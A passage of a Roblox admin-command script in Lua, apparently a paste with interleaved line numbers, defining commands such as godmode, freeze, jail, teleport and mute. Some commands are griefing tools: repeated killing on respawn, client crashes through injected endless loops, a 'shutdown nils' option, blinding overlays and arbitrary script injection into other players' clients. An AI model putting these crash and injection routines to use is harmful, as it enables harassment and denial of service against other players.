				end)
2198
			end
2199
		end
2200
	elseif GetSplit(Msg) == "l" then
2201
		Msg = Msg:gsub("-l", "")
2202
		local Players = getPlayer(Speaker, Msg)
2203
		if #Players > 0 then
2204
			for _,v in pairs(Players) do
2205
				ypcall(function()
2206
					if Delta.Connections.Killing[v.Name] then
2207
						return Output(Speaker, "You can only loopkill someone one at a time!", "Really red", nil, 3)
2208
					end
2209
					Delta.Connections.Killing[v.Name] = v.CharacterAdded:connect(function(Character)
2210
						v.Character:BreakJoints()
2211
					end)
2212
					v.Character:BreakJoints()
2213
				end)
2214
			end
2215
		end
2216
	elseif GetSplit(Msg) == "ul" then
2217
		Msg = Msg:gsub("-ul", "")
2218
		local Players = getPlayer(Speaker, Msg)
2219
		if #Players > 0 then
2220
			for _,v in pairs(Players) do
2221
				ypcall(function()
2222
					if Delta.Connections.Killing[v.Name] then
2223
						Delta.Connections.Killing[v.Name]:disconnect()
2224
						Delta.Connections.Killing[v.Name] = nil
2225
					end
2226
				end)
2227
			end
2228
		end
2229
	elseif GetSplit(Msg) == "w" then
2230
		Msg = Msg:gsub("-w", "")
2231
		local Players = getPlayer(Speaker, Msg)
2232
		if #Players > 0 then
2233
			for _,v in pairs(Players) do
2234
				ypcall(function()
2235
					v.Character.Humanoid.WalkSpeed = "99e999"
2236
				end)
2237
			end
2238
		end
2239
	else
2240
		local Players = getPlayer(Speaker, Msg)
2241
		if #Players > 0 then
2242
			for _,v in pairs(Players) do
2243
				ypcall(function()
2244
					v.Character:BreakJoints()
2245
				end)
2246
			end
2247
		end
2248
	end
2249
end)
2250
Command("Forcefield", {"ff", "forcefield"}, 1, "Forcefields A Player", "-u (UnFF)", function(Speaker, Msg)
2251
	if GetSplit(Msg) == "u" then
2252
		Msg = Msg:gsub("-u","")
2253
		local Players = getPlayer(Speaker, Msg)
2254
		if #Players > 0 then
2255
			for _,v in pairs(Players) do
2256
				ypcall(function()
2257
					for _, v2 in pairs(v.Character:GetChildren()) do
2258
						if v2:IsA("ForceField") then
2259
							v2:remove()
2260
						end
2261
					end
2262
				end)
2263
			end
2264
		end
2265
	else
2266
		local Players = getPlayer(Speaker, Msg)
2267
		if #Players > 0 then
2268
			for _,v in pairs(Players) do
2269
				ypcall(function()
2270
					Instance.new("ForceField", v.Character)
2271
				end)
2272
			end
2273
		end
2274
	end
2275
end)
2276
Command("Godmode", {"god", "godmode"}, 1, "Gives A Player Godmode", "-u (UnGod)", function(Speaker, Msg)
2277
	if GetSplit(Msg) == "u" then
2278
		Msg = Msg:gsub("-u","")
2279
		local Players = getPlayer(Speaker, Msg)
2280
		if #Players > 0 then
2281
			for _,v in pairs(Players) do
2282
				ypcall(function()
2283
					for __,vv in pairs(v.Character:GetChildren()) do
2284
						if vv:IsA('Humanoid') then
2285
							vv.Name = 'lal_its_a_humanoid'
2286
							vv.MaxHealth = 100
2287
							vv.Health = 100
2288
						end
2289
					end
2290
				end)
2291
			end
2292
		end
2293
	else
2294
		local Players = getPlayer(Speaker, Msg)
2295
		if #Players > 0 then
2296
			for _,v in pairs(Players) do
2297
				ypcall(function()
2298
					for __,vv in pairs(v.Character:GetChildren()) do
2299
						if vv:IsA('Humanoid') then
2300
							vv.Name = 'lal_its_a_humanoid'
2301
							vv.MaxHealth = math.huge
2302
						end
2303
					end
2304
				end)
2305
			end
2306
		end
2307
	end
2308
end)
2309
Command("Freeze", {"freeze"}, 1, "Freezes A Player", "-u (UnFreeze/Thaw)", function(Speaker, Msg)
2310
	if GetSplit(Msg) == "u" then
2311
		Msg = Msg:gsub("-u","")
2312
		local Players = getPlayer(Speaker, Msg)
2313
		if #Players > 0 then
2314
			for _,v in pairs(Players) do
2315
				ypcall(function()
2316
					for _,v in pairs(v.Character:GetChildren()) do
2317
						if v:IsA("Part") then
2318
							v.Anchored = false
2319
						end
2320
					end
2321
					pcall(function() v.Character.FrozenBlock:remove() end)
2322
				end)
2323
			end
2324
		end
2325
	else
2326
		local Players = getPlayer(Speaker, Msg)
2327
		if #Players > 0 then
2328
			for _,v in pairs(Players) do
2329
				ypcall(function()
2330
					pcall(function() v.Character.FrozenBlock:remove() end)
2331
					for _,v in pairs(v.Character:GetChildren()) do
2332
						if v:IsA("Part") then
2333
							v.Anchored = true
2334
						end
2335
					end
2336
					local b = Instance.new("Part", v.Character)
2337
					b.Anchored = true
2338
					b.Locked = true
2339
					b.TopSurface, b.BottomSurface = 0,0
2340
					b.Color = BrickColor.new("Light blue").Color
2341
					b.Size = Vector3.new(5,10,5)
2342
					b.Transparency = 0.5
2343
					b.Name = "FrozenBlock"
2344
					b.CFrame = v.Character.Torso.CFrame
2345
					local Weld = Instance.new("Weld", b)
2346
					Weld.Name = "FrozenWeld"
2347
					Weld.Part0 = v.Character.Torso
2348
					Weld.Part1 = b
2349
				end)
2350
			end
2351
		end
2352
	end
2353
end)
2354
Command("Change Walkspeed", {"ws", "speed", "walkspeed"}, 1, "Changes Your Walkspeed", "No Flags", function(Speaker, Msg)
2355
	local Split = Msg:find(Delta.Bet)
2356
	local Player = getPlayer(Speaker, Msg:sub(1, Split - 1))
2357
	local Speed = tonumber(Msg:sub(Split + 1))
2358
	for _,v in pairs(Player) do
2359
		ypcall(function()
2360
			v.Character.Humanoid.WalkSpeed = Speed
2361
		end)
2362
	end
2363
end)
2364
Command("Invisible", {"invis", "invisible"}, 1, "Makes A Player Invisible", "-u (Visible)", function(Speaker, Msg)
2365
	if GetSplit(Msg) == "u" then
2366
		Msg = Msg:gsub("-u", "")
2367
		local Players = getPlayer(Speaker, Msg)
2368
		if #Players > 0 then
2369
			for _,v in pairs(Players) do
2370
				ypcall(function()
2371
					for _,c in pairs(v.Character:GetChildren()) do
2372
						if c.ClassName == "Part" then
2373
							c.Transparency = 0
2374
						end
2375
						if c:findFirstChild("face") then
2376
							c.face.Transparency = 0
2377
						end
2378
						if c:findFirstChild("Handle") then
2379
							c.Handle.Transparency = 0
2380
						end							
2381
					end
2382
				end)
2383
			end
2384
		end
2385
	else
2386
		local Players = getPlayer(Speaker, Msg)
2387
		if #Players > 0 then
2388
			for _,v in pairs(Players) do
2389
				ypcall(function()
2390
					for _,c in pairs(v.Character:GetChildren()) do
2391
						if c.ClassName == "Part" then
2392
							c.Transparency = 1
2393
						end
2394
						if c:findFirstChild("face") then
2395
							c.face.Transparency = 1
2396
						end
2397
						if c:findFirstChild("Handle") then
2398
							c.Handle.Transparency = 1
2399
						end	
2400
					end
2401
				end)
2402
			end
2403
		end
2404
	end
2405
end)
2406
Command("Explorer", {"explore", "explorer"}, 1, "Explores the Game", "No Flags", function(Speaker, Msg)
2407
	Explorer(Speaker)
2408
end)
2409
Command("Players", {"players", "plrs"}, 1, "Shows Players And Options", "-n (Nil Players)", function(Speaker, Msg)
2410
	if GetSplit(Msg) == "n" then
2411
		Dismiss(Speaker)
2412
		local Number_Of_Nils = 0
2413
		for _,v in pairs(getALLPlayers()) do
2414
			if v.Parent ~= Delta.Services.Players then
2415
				Number_Of_Nils = Number_Of_Nils + 1
2416
				Output(Speaker, "Crash "..v.Name.."?", nil, function()
2417
					Dismiss(Speaker)
2418
					local x = Instance.new("StringValue", Delta.Services.Lighting)
2419
					x.Name = "Disconnect: "..v.Name
2420
					coroutine.resume(coroutine.create(function()
2421
						wait(0.5)
2422
						if x.Name == "Disconnected: "..v.Name then
2423
							Output(Speaker, "Successfully crashed "..v.Name, "Lime green", nil, 3)
2424
						else
2425
							Output(Speaker, "Failed to crash "..v.Name, "Lime green", nil, 3)
2426
						end
2427
					end))
2428
				end)
2429
			end
2430
		end
2431
		if Number_Of_Nils == 0 then
2432
			return Output(Speaker, "There are no nil players!", "Lime green", nil, 3)
2433
		end
2434
		Output(Speaker, "There are "..Number_Of_Nils.." nil players!", "Lime green")
2435
		Output(Speaker, "Shutdown Nils?", "New Yeller", function()
2436
			for _,v in pairs(getALLPlayers()) do
2437
				if v.Parent ~= Delta.Services.Players then
2438
					local x = Instance.new("Model", Delta.Services.Workspace)
2439
					local y = Instance.new("Part", x)
2440
					y.Transparency = 1
2441
					y.CanCollide = false
2442
					y.Anchored = true
2443
					y.Name = "Torso"
2444
					y.Position = Vector3.new(10000,10000,10000)
2445
					local z = Instance.new("Humanoid",x)
2446
					z.Torso = y
2447
					v.Character = x
2448
					createLocalScript([[repeat until false]], v.Character)
2449
				end
2450
			end
2451
		end)
2452
		Output(Speaker, "Dismiss")
2453
	else
2454
		ShowPlayers(Speaker)
2455
	end
2456
end)
2457
-- Rank 2! --
2458
Command("Jail", {"jail"}, 2, "Jails A Player", "-u (UnJail)", function(Speaker,Msg)
2459
	if GetSplit(Msg) == "u" then
2460
		Msg = Msg:gsub("-u","")
2461
		local Players = getPlayer(Speaker, Msg)
2462
		for _,v in pairs(Players) do
2463
			ypcall(function()
2464
				local x = Instance.new('StringValue',v)
2465
				x.Name = 'Delta'
2466
				x.Value = 'Disable Jail'
2467
				Delta.Services.Debris:AddItem(x,2)
2468
			end)
2469
		end
2470
	else
2471
		local Players = getPlayer(Speaker, Msg)
2472
		for _,v in pairs(Players) do
2473
			ypcall(function()
2474
				createLocalScript(JailInjection, v.Character)
2475
			end)
2476
		end
2477
	end
2478
end)
2479
Command("Kick", {"kick", "leave", "bai", "kk", "dc"}, 2, "Kicks A Player", "-b (Banish) -c (Crash) -n (Nil) -r (Rejoin) -cl (Crash Lag)",function(Speaker, Msg)
2480
	if GetSplit(Msg) == "b" then
2481
		if FindRank(Speaker) < 3 then
2482
			return Output(Speaker, "Your not high enough rank to use this flag!", "Really red")
2483
		end
2484
		Msg = Msg:gsub("-b","")
2485
		local Players = getPlayer(Speaker, Msg)
2486
		if #Players > 0 then
2487
			for _,v in pairs(Players) do
2488
				ypcall(function()
2489
					ChangeRank(v, -1)
2490
					pcall(function() v.Character.Humanoid.Walkspeed = 99e9999 end)
2491
					wait(.3)
2492
					v:Kick()
2493
				end)
2494
			end
2495
		end
2496
	elseif GetSplit(Msg) == "r" then
2497
		Msg = Msg:gsub("-r","")
2498
		local Players = getPlayer(Speaker, Msg)
2499
		if #Players > 0 then
2500
			for _,v in pairs(Players) do
2501
				ypcall(function()
2502
					Delta.Services.TeleportService:Teleport(game.PlaceId, v)
2503
				end)
2504
			end
2505
		end
2506
	elseif GetSplit(Msg) == "c" then
2507
		Msg = Msg:gsub("-c","")
2508
		local Players = getPlayer(Speaker, Msg)
2509
		if #Players > 0 then
2510
			for _,v in pairs(Players) do
2511
				ypcall(function()
2512
					createLocalScript([[for i=1, 1/0 do Instance.new("ManualSurfaceJointInstance") end]], v:waitForChild("Backpack"))
2513
				end)
2514
			end
2515
		end
2516
	elseif GetSplit(Msg) == "n" then
2517
		Msg = Msg:gsub("-n","")
2518
		local Players = getPlayer(Speaker, Msg)
2519
		if #Players > 0 then
2520
			for _,v in pairs(Players) do
2521
				ypcall(function()
2522
					v.Parent = nil
2523
				end)
2524
			end
2525
		end
2526
	else
2527
		local Players = getPlayer(Speaker, Msg)
2528
		if #Players > 0 then
2529
			for _,v in pairs(Players) do
2530
				ypcall(function()
2531
					v:Kick()
2532
				end)
2533
			end
2534
		end
2535
	end
2536
end)
2537
Command("Teleport", {"teleport", "tele", "tp"}, 2, "Teleports A Player To Another Player", function(Speaker,Msg)
2538
	if GetSplit(Msg) == "p" then
2539
		Msg = Msg:gsub("-p", "")
2540
		local Split = Msg:find(Delta.Bet)
2541
		local Player = getPlayer(Speaker,Msg:sub(1, Split - 1))
2542
		local Numbers = Msg:sub(Split + 1)
2543
		if Numbers == "oxsb" then
2544
			Numbers = "20279777"
2545
		elseif Numbers == "qlqsb" then
2546
			Numbers = "54194680"
2547
		elseif Numbers == "anasb" then
2548
			Numbers = "14578699"
2549
		end
2550
		if #Player > 0 then
2551
			for _,v in pairs(Player) do
2552
				ypcall(function()
2553
					createLocalScript([[game:GetService("TeleportService"):Teleport(']]..Numbers..[[')]], v:waitForChild("Backpack"))
2554
				end)
2555
			end
2556
		end
2557
	else
2558
		local Split = Msg:find(Delta.Bet)
2559
		local Player1 = getPlayer(Speaker,Msg:sub(1, Split - 1))
2560
		local Player2 = getPlayer(Speaker,Msg:sub(Split + 1))
2561
		if #Player1 > 0 or #Player2 > 0 then
2562
			for _,v in pairs(Player1) do
2563
				for _,v2 in pairs(Player2) do
2564
					ypcall(function()
2565
						v.Character.Torso.CFrame = v2.Character.Torso.CFrame*CFrame.new(0,10,0)
2566
					end)
2567
				end
2568
			end
2569
		end
2570
	end
2571
end)
2572
Command("Mute", {"mute"}, 2, "Mutes A Player", "-b (Banish) -u (UnMute)", function(Speaker, Msg)
2573
	if GetSplit(Msg) == "b" then
2574
		if FindRank(Speaker) < 3 then
2575
			return Output(Speaker, "Your not high enough rank to use this flag!", "Really red")
2576
		end
2577
		Msg = Msg:gsub("-b","")
2578
		local Players = getPlayer(Speaker, Msg)
2579
		if #Players > 0 then
2580
			for _,v in pairs(Players) do
2581
				ypcall(function()
2582
					ChangeRank(v, -1)
2583
					createLocalScript([[game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)]], v:waitForChild("Backpack"))
2584
				end)
2585
			end
2586
		end
2587
	elseif GetSplit(Msg) == "u" then
2588
		Msg = Msg:gsub("-u","")
2589
		local Players = getPlayer(Speaker, Msg)
2590
		if #Players > 0 then
2591
			for _,v in pairs(Players) do
2592
				ypcall(function()
2593
					createLocalScript([[game:GetService("StarterGui"):SetCoreGuiEnabled(4, true)]], v:waitForChild("Backpack"))
2594
				end)
2595
			end
2596
		end
2597
	else
2598
		local Players = getPlayer(Speaker, Msg)
2599
		if #Players > 0 then
2600
			for _,v in pairs(Players) do
2601
				ypcall(function()
2602
					createLocalScript([[game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)]], v:waitForChild("Backpack"))
2603
				end)
2604
			end
2605
		end
2606
	end
2607
end)
2608
Command("Blind", {"blind"}, 2, "Blinds A Player", "-u (UnBlind)", function(Speaker, Msg)
2609
	if GetSplit(Msg) == "u" then
2610
		Msg = Msg:gsub("-u", "")
2611
		local Players = getPlayer(Speaker, Msg)
2612
		if #Players > 0 then
2613
			for _,v in pairs(Players) do
2614
				ypcall(function()
2615
					local x = Instance.new("StringValue", v)
2616
					x.Name = "DeltaStopTheBlindNow"
2617
					local sg = v.PlayerGui:findFirstChild("DeltaBlind")
2618
					sg.Frame:TweenSize(UDim2.new(0,0,0,0), "Out", "Quad", 0.5)
2619
					Delta.Services.Debris:AddItem(sg, 0.5)
2620
				end)
2621
			end
2622
		end
2623
	else
2624
		local Players = getPlayer(Speaker, Msg)
2625
		if #Players > 0 then
2626
			for _,v in pairs(Players) do
2627
				ypcall(function()
2628
					createScript([[
2629
						script.Parent = nil
2630
						player = game:GetService('Players'):findFirstChild(']]..v.Name..[[')
2631
						PG = player.PlayerGui
2632
						function Blind()
2633
							local sg = Instance.new("ScreenGui", PG)
2634
							sg.Name = "DeltaBlind"
2635
							local fr = Instance.new("Frame", sg)
2636
							fr.Size = UDim2.new(0,0,0,0)
2637
							fr.BackgroundColor = BrickColor.new("Really black")
2638
							fr.Name = "Frame"
2639
							local txt = Instance.new("TextLabel", fr)
2640
							txt.Name = "textbox"
2641
							txt.Size = UDim2.new(1, 0, 1, 0)
2642
							txt.TextColor = BrickColor.White()
2643
							txt.BackgroundTransparency = 1
2644
							txt.Text = "You got blinded!"
2645
							txt.FontSize = "Size48"
2646
							fr:TweenSize(UDim2.new(1, 0, 1, 0), "Out", "Quad", 0.5)
2647
						end
2648
						while wait() do
2649
							if player:findFirstChild("DeltaStopTheBlindNow") ~= nil then player:findFirstChild("DeltaStopTheBlindNow").Parent=nil break end
2650
							if PG:findFirstChild("DeltaBlind") == nil then
2651
								Blind()
2652
							end
2653
						end
2654
					]], Delta.Services.Workspace)
2655
				end)
2656
			end
2657
		end
2658
	end
2659
end)
2660
Command("Execute Script", {"c", "s", "script"}, 2, "QuickScripts a Script", "-l (Local)", function(Speaker, Msg)
2661
	if GetSplit(Msg) == "l" then
2662
		Msg = Msg:gsub("-l", "")
2663
		local Split = Msg:find(Delta.Bet)
2664
		local Player = getPlayer(Speaker,Msg:sub(1, Split - 1))
2665
		local Source = Msg:sub(Split + 1)
2666
		local x = [[
2667
			s = setmetatable({}, {
2668
				__index = function(Name, Service)
2669
					return game:GetService(Service)
2670
				end
2671
			}); 
2672
		]]
2673
		if #Player > 0 then
2674
			for _,v in pairs(Player) do
2675
				ypcall(function()
2676
					createLocalScript(x.." "..Source, v.Character)
2677
				end)
2678
			end
2679
		end
2680
	else
2681
		local x = [[
2682
			s = setmetatable({}, {
2683
				__index = function(Name, Service)
2684
					return game:GetService(Service)
2685
				end
2686
			}); 
2687
		]]
2688
		createScript(x.." "..Msg, Delta.Services.Workspace)
2689
	end
2690
end)
2691
Command("Rare", {"rps"}, 2, "Runs a Protector Script", "-r (Rocks) -f (Fiery) -m (Magic) -s (Shield)", function(Speaker,Msg)
2692
	if GetSplit(Msg) == "r" then
2693
		Msg = Msg:gsub("-r", "")
2694
			createScript([[
2695
				wait()
2696
				script.Parent = nil
2697
				script:clearAllChildren()
2698
				me = game:GetService("Workspace"):findFirstChild(']]..Speaker.Name..[[')
2699
				me.Humanoid.Health = 1/0
2700
				Instance.new("ForceField", me)
2701
				torso = me.Torso
2702
				local mat = "Plastic"
2703
				t = 0.1
2704
				m = Instance.new("Model",me)
2705
				m.Name = "Suit"
2706
				function make(a)
2707
					c = Instance.new("Part",m)
2708
					c.formFactor = "Custom"
2709
					c.Position = a.Position
2710
					c.Size = Vector3.new(a.Size.x,a.Size.y,t)
2711
					c.TopSurface = 0
2712
					c.BottomSurface = 0
2713
					c.Material = "Concrete"
2714
					c.BrickColor = BrickColor.new("Brown")
2715
					c.Transparency = 1
2716
					w = Instance.new("Weld",m)
2717
					w.Part0 = c
2718
					w.Part1 = a
2719
					w.C1 = CFrame.new(0,0,a.Size.z/2)
2720
					c2 = c:Clone()
2721
					c2.Parent = m
2722
					w = Instance.new("Weld",m)
2723
					w.Part0 = c2
2724
					w.Part1 = a
2725
					w.C1 = CFrame.new(0,0,-a.Size.z/2)
2726
					c3 = c:Clone()
2727
					c3.Parent = m
2728
					c3.Size = Vector3.new(t,a.Size.y,a.Size.z)
2729
					w = Instance.new("Weld",m)
2730
					w.Part0 = c3
2731
					w.Part1 = a
2732
					w.C1 = CFrame.new(a.Size.x/2,0,0)
2733
					c4 = c3:Clone()
2734
					c4.Parent = m
2735
					w = Instance.new("Weld",m)
2736
					w.Part0 = c4
2737
					w.Part1 = a
2738
					w.C1 = CFrame.new(-a.Size.x/2,0,0)
2739
					c5 = c:Clone()
2740
					c5.Parent = m
2741
					c5.Size = Vector3.new(a.Size.x,0,a.Size.z)
2742
					w = Instance.new("Weld",m)
2743
					w.Part0 = c5
2744
					w.Part1 = a
2745
					w.C1 = CFrame.new(0,a.Size.y/2,0)
2746
					c6 = c5:Clone()
2747
					c6.Parent = m
2748
					w = Instance.new("Weld",m)
2749
					w.Part0 = c6
2750
					w.Part1 = a
2751
					w.C1 = CFrame.new(0,-a.Size.y/2,0)
2752
				end
2753
				for i,v in pairs(me:GetChildren()) do
2754
					if v:IsA("BasePart") then
2755
				if v.Name ~= "Head" then
2756
					make(v)
2757
				end
2758
					end
2759
				end
2760
				function bounch(hit)
2761
					for i,v in pairs (hit.Parent:GetChildren()) do
2762
				if v:IsA("Humanoid") then
2763
					v.Sit = true
2764
					v.Torso.Velocity = CFrame.new(v.Torso.Position,torso.Position).lookVector * -500
2765
				end
2766
					end
2767
				end
2768
				rad = 5
2769
				r = 30
2770
				p = Instance.new("Part",m)
2771
				p.formFactor = "Custom"
2772
				p.Size = Vector3.new(0.5,0.5,0.5)
2773
				p.Position = torso.Position
2774
				p.TopSurface = 0
2775
				p.BottomSurface = 0
2776
				p.BrickColor = BrickColor.new("New Yeller")
2777
				p.Transparency = 1
2778
				ww = Instance.new("Weld",p)
2779
				ww.Part0 = p
2780
				ww.Part1 = torso
2781
				p2 = p:Clone()
2782
				p2.Parent = m
2783
				p3 = p:Clone()
2784
				p3.Parent = m
2785
				ww2 = Instance.new("Weld",p2)
2786
				ww2.Part0 = p2
2787
				ww2.Part1 = torso
2788
				ww3 = Instance.new("Weld",p3)
2789
				ww3.Part0 = p3
2790
				ww3.Part1 = torso
2791
				ww3.C1 = CFrame.Angles(0,math.pi/2,0)
2792
				for i = 1,360,r do
2793
					wait()
2794
					c = Instance.new("Part",m)
2795
					c.Size = Vector3.new(1,1,1)
2796
					c.TopSurface = 0
2797
					c.BottomSurface = 0
2798
					c.CanCollide = false
2799
					c.Position = torso.Position
2800
					c.Shape = 0
2801
					c.Material = "Concrete"
2802
					c.Touched:connect(bounch)
2803
					c.BrickColor = BrickColor.new("Brown")
2804
					mesh = Instance.new("FileMesh",c)
2805
					mesh.MeshId = "http://www.roblox.com/asset/?id=1290033"
2806
					w = Instance.new("Weld",c)
2807
					w.Part0 = c
2808
					w.Part1 = p
2809
					w.C1 = CFrame.new(math.cos(math.rad(i))*rad,0,math.sin(math.rad(i))*rad)
2810
				end
2811
				for i = 1,360,r do
2812
					wait()
2813
					c2 = c:Clone()
2814
					c2.Parent = m
2815
					c2.Touched:connect(bounch)
2816
					w = Instance.new("Weld",c)
2817
					w.Part0 = c
2818
					w.Part1 = p
2819
					w.C1 = CFrame.new(math.cos(math.rad(i))*rad,0,math.sin(math.rad(i))*rad)
2820
				end
2821
				for i = 1,360,r do
2822
					wait()
2823
					c2 = c:Clone()
2824
					c2.Parent = m
2825
					c2.Touched:connect(bounch)
2826
					w = Instance.new("Weld",c2)
2827
					w.Part0 = c2
2828
					w.Part1 = p2
2829
					w.C1 = CFrame.new(math.cos(math.rad(i))*rad,math.sin(math.rad(i))*rad,0)
2830
				end
2831
				for i = 1,360,r do
2832
					wait()
2833
					c2 = c:Clone()
2834
					c2.Parent = m
2835
					c2.Touched:connect(bounch)
2836
					w = Instance.new("Weld",c2)
2837
					w.Part0 = c2
2838
					w.Part1 = p3
2839
					w.C1 = CFrame.new(math.cos(math.rad(i))*rad,math.sin(math.rad(i))*rad,0)
2840
				end
2841
				while wait() do
2842
					ww.C1 = ww.C1 * CFrame.Angles(0,0.1,0)
2843
					ww2.C1 = ww2.C1 * CFrame.Angles(0,0,0.1)
2844
					ww3.C1 = ww3.C1 * CFrame.Angles(0,0,-0.1)
2845
				end
2846
		]], Delta.Services.Workspace)
2847
	elseif GetSplit(Msg) == "f" then
2848
		Msg = Msg:gsub("-f", "")
2849
		createScript([[
2850
			wait()
2851
			script.Parent = nil
2852
			script:clearAllChildren()
2853
			person = game:GetService("Workspace"):findFirstChild(']]..Speaker.Name..[[')
2854
			mybody = person:children''
2855
			for _,v in pairs(person:children'') do
2856
				if v:IsA("Hat") then
2857
					v:remove()
2858
				end
2859
				if v:IsA("Part") then
2860
					if v.Name == "Head" then v.face.Transparency = 1 end
2861
					v.Transparency = 1
2862
				end
2863
			end
2864
			person.Humanoid.MaxHealth = 1/0
2865
			function onTouched(hit) 
2866
				humanoid = hit.Parent:findFirstChild("Humanoid") 
2867
				if humanoid ~= nil then 
2868
					humanoid.Health = 0
2869
					humanoid.Parent:BreakJoints()
2870
				end 
2871
			end
2872
			for i = 1, #mybody do 
2873
				if mybody[i].className == "Part" then 
2874
					mybody[i].Touched:connect(onTouched) 
2875
				end 
2876
			end
2877
			for i = 1, 3 do
2878
				local f = Instance.new("Fire", person.Torso)
2879
				f.Heat = 1/0
2880
				f.Color = Color3.new(math.random(1,3),math.random(1,3),math.random(1,3))
2881
				f.SecondaryColor = f.Color
2882
			end
2883
		]], Delta.Services.Workspace)
2884
	elseif GetSplit(Msg) == "m" then
2885
		Msg = Msg:gsub("-m", "")
2886
		createScript([[
2887
			wait()
2888
			script:clearAllChildren()
2889
			script.Parent = nil
2890
			local player = game:service'Players':findFirstChild(']]..Speaker.Name..[[')
2891
			local master = player.Character
2892
			function create()
2893
				m = Instance.new("Model", master)
2894
				m[string.char(78, 97, 109, 101)] = string.char()
2895
				h = Instance.new("Humanoid", m)
2896
				h.MaxHealth = 0
2897
				b = Instance.new("Part", m)
2898
				b.Name = "Head"
2899
				b.Position = master.Torso.Position
2900
				b.Anchored = false
2901
				b.CanCollide = false
2902
				b.Transparency = 0.6
2903
				b.Reflectance = 0.4
2904
				b.BrickColor = BrickColor.new("Bright yellow")
2905
				b.TopSurface = Enum.SurfaceType.Smooth
2906
				b.BottomSurface = Enum.SurfaceType.Smooth
2907
				b.FormFactor = Enum.FormFactor.Symmetric
2908
				b.Size = Vector3.new(1, 1, 1)
2909
				b2 = Instance.new("Part", m)
2910
				b2.Position = master.Torso.Position
2911
				b2.Anchored = false
2912
				b2.CanCollide = false
2913
				b2.Transparency = 0
2914
				b2.Reflectance = 0.4
2915
				b2.BrickColor = BrickColor.new("Light stone grey")
2916
				b2.TopSurface = Enum.SurfaceType.Smooth
2917
				b2.BottomSurface = Enum.SurfaceType.Smooth
2918
				b2.FormFactor = Enum.FormFactor.Custom
2919
				b2.Size = Vector3.new(0.2, 0.2, 0.2)
2920
				b3 = Instance.new("Part", m)
2921
				b3.Position = master.Torso.Position
2922
				b3.Anchored = false
2923
				b3.CanCollide = false
2924
				b3.Transparency = 0.6
2925
				b3.Reflectance = 0.4
2926
				b3.BrickColor = BrickColor.new("Light stone grey")
2927
				b3.TopSurface = Enum.SurfaceType.Smooth
2928
				b3.BottomSurface = Enum.SurfaceType.Smooth
2929
				b3.FormFactor = Enum.FormFactor.Custom
2930
				b3.Size = Vector3.new(0.2, 0.2, 0.2)
2931
				b4 = Instance.new("Part", m)
2932
				b4.Position = master.Torso.Position
2933
				b4.Anchored = false
2934
				b4.CanCollide = false
2935
				b4.Transparency = 0
2936
				b4.Reflectance = 0.4
2937
				b4.BrickColor = BrickColor.new("Light stone grey")
2938
				b4.TopSurface = Enum.SurfaceType.Smooth
2939
				b4.BottomSurface = Enum.SurfaceType.Smooth
2940
				b4.FormFactor = Enum.FormFactor.Custom
2941
				b4.Size = Vector3.new(0.2, 0.2, 0.2)
2942
				b5 = Instance.new("Part", m)
2943
				b5.Position = master.Torso.Position
2944
				b5.Anchored = false
2945
				b5.CanCollide = false
2946
				b5.Transparency = 0
2947
				b5.Reflectance = 0.4
2948
				b5.BrickColor = BrickColor.new("Light stone grey")
2949
				b5.TopSurface = Enum.SurfaceType.Smooth
2950
				b5.BottomSurface = Enum.SurfaceType.Smooth
2951
				b5.FormFactor = Enum.FormFactor.Custom
2952
				b5.Size = Vector3.new(0.2, 0.2, 0.2)
2953
				b6 = Instance.new("Part", m)
2954
				b6.Position = master.Torso.Position
2955
				b6.Anchored = false
2956
				b6.CanCollide = false
2957
				b6.Transparency = 0
2958
				b6.Reflectance = 0.4
2959
				b6.BrickColor = BrickColor.new("Light stone grey")
2960
				b6.TopSurface = Enum.SurfaceType.Smooth
2961
				b6.BottomSurface = Enum.SurfaceType.Smooth
2962
				b6.FormFactor = Enum.FormFactor.Custom
2963
				b6.Size = Vector3.new(0.2, 0.2, 0.2)
2964
				b7 = Instance.new("Part", m)
2965
				b7.Position = master.Torso.Position
2966
				b7.Anchored = false
2967
				b7.CanCollide = false
2968
				b7.Transparency = 0.6
2969
				b7.Reflectance = 0.4
2970
				b7.BrickColor = BrickColor.new("Light stone grey")
2971
				b7.TopSurface = Enum.SurfaceType.Smooth
2972
				b7.BottomSurface = Enum.SurfaceType.Smooth
2973
				b7.FormFactor = Enum.FormFactor.Custom
2974
				b7.Size = Vector3.new(0.2, 0.2, 0.2)
2975
				b8 = Instance.new("Part", m)
2976
				b8.Position = master.Torso.Position
2977
				b8.Anchored = false
2978
				b8.CanCollide = false
2979
				b8.Transparency = 0.6
2980
				b8.Reflectance = 0.4
2981
				b8.BrickColor = BrickColor.new("Light stone grey")
2982
				b8.TopSurface = Enum.SurfaceType.Smooth
2983
				b8.BottomSurface = Enum.SurfaceType.Smooth
2984
				b8.FormFactor = Enum.FormFactor.Custom
2985
				b8.Size = Vector3.new(0.2, 0.2, 0.2)
2986
				b9 = Instance.new("Part", m)
2987
				b9.Position = master.Torso.Position
2988
				b9.Anchored = false
2989
				b9.CanCollide = false
2990
				b9.Transparency = 0.6
2991
				b9.Reflectance = 0.4
2992
				b9.BrickColor = BrickColor.new("Light stone grey")
2993
				b9.TopSurface = Enum.SurfaceType.Smooth
2994
				b9.BottomSurface = Enum.SurfaceType.Smooth
2995
				b9.FormFactor = Enum.FormFactor.Custom
2996
				b9.Size = Vector3.new(0.2, 0.2, 0.2)
2997
				f2 = Instance.new("Fire", b2)
2998
				f2.Size = 2
2999
				f2.Heat = 0
3000
				f2.Color = Color3.new(255/255, 255/255, 255/255)
3001
				f2.SecondaryColor = Color3.new(1, 1, 0)
3002
				f3 = Instance.new("Fire", b3)
3003
				f3.Size = 2
3004
				f3.Heat = 0
3005
				f3.Color = Color3.new(255/255, 255/255, 255/255)
3006
				f3.SecondaryColor = Color3.new(1, 1, 0)
3007
				f4 = Instance.new("Fire", b4)
3008
				f4.Size = 2
3009
				f4.Heat = 0
3010
				f4.Color = Color3.new(255/255, 255/255, 255/255)
3011
				f4.SecondaryColor = Color3.new(1, 1, 0)
3012
				f5 = Instance.new("Fire", b5)
3013
				f5.Size = 2
3014
				f5.Heat = 0
3015
				f5.Color = Color3.new(255/255, 255/255, 255/255)
3016
				f5.SecondaryColor = Color3.new(1, 1, 0)
3017
				f6 = Instance.new("Fire", b6)
3018
				f6.Size = 2
3019
				f6.Heat = 0
3020
				f6.Color = Color3.new(255/255, 255/255, 255/255)
3021
				f6.SecondaryColor = Color3.new(1, 1, 0)
3022
				f7 = Instance.new("Fire", b7)
3023
				f7.Size = 2
3024
				f7.Heat = 0
3025
